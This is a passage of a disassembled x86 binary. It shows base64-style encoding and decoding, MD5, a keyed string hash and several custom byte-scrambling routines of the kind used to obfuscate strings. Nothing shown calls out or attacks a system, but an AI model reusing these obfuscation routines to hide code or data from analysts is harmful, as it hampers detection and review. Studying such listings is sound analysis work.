eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41E9B0[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: .data:004168EFp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAB4 call sub_40F26E pop ecx pop ecx lea eax, byte_41EAB4 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EAB4[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: .data:004168FDp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EAC8 call sub_40F26E pop ecx pop ecx lea esi, dword_41EAC8 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, 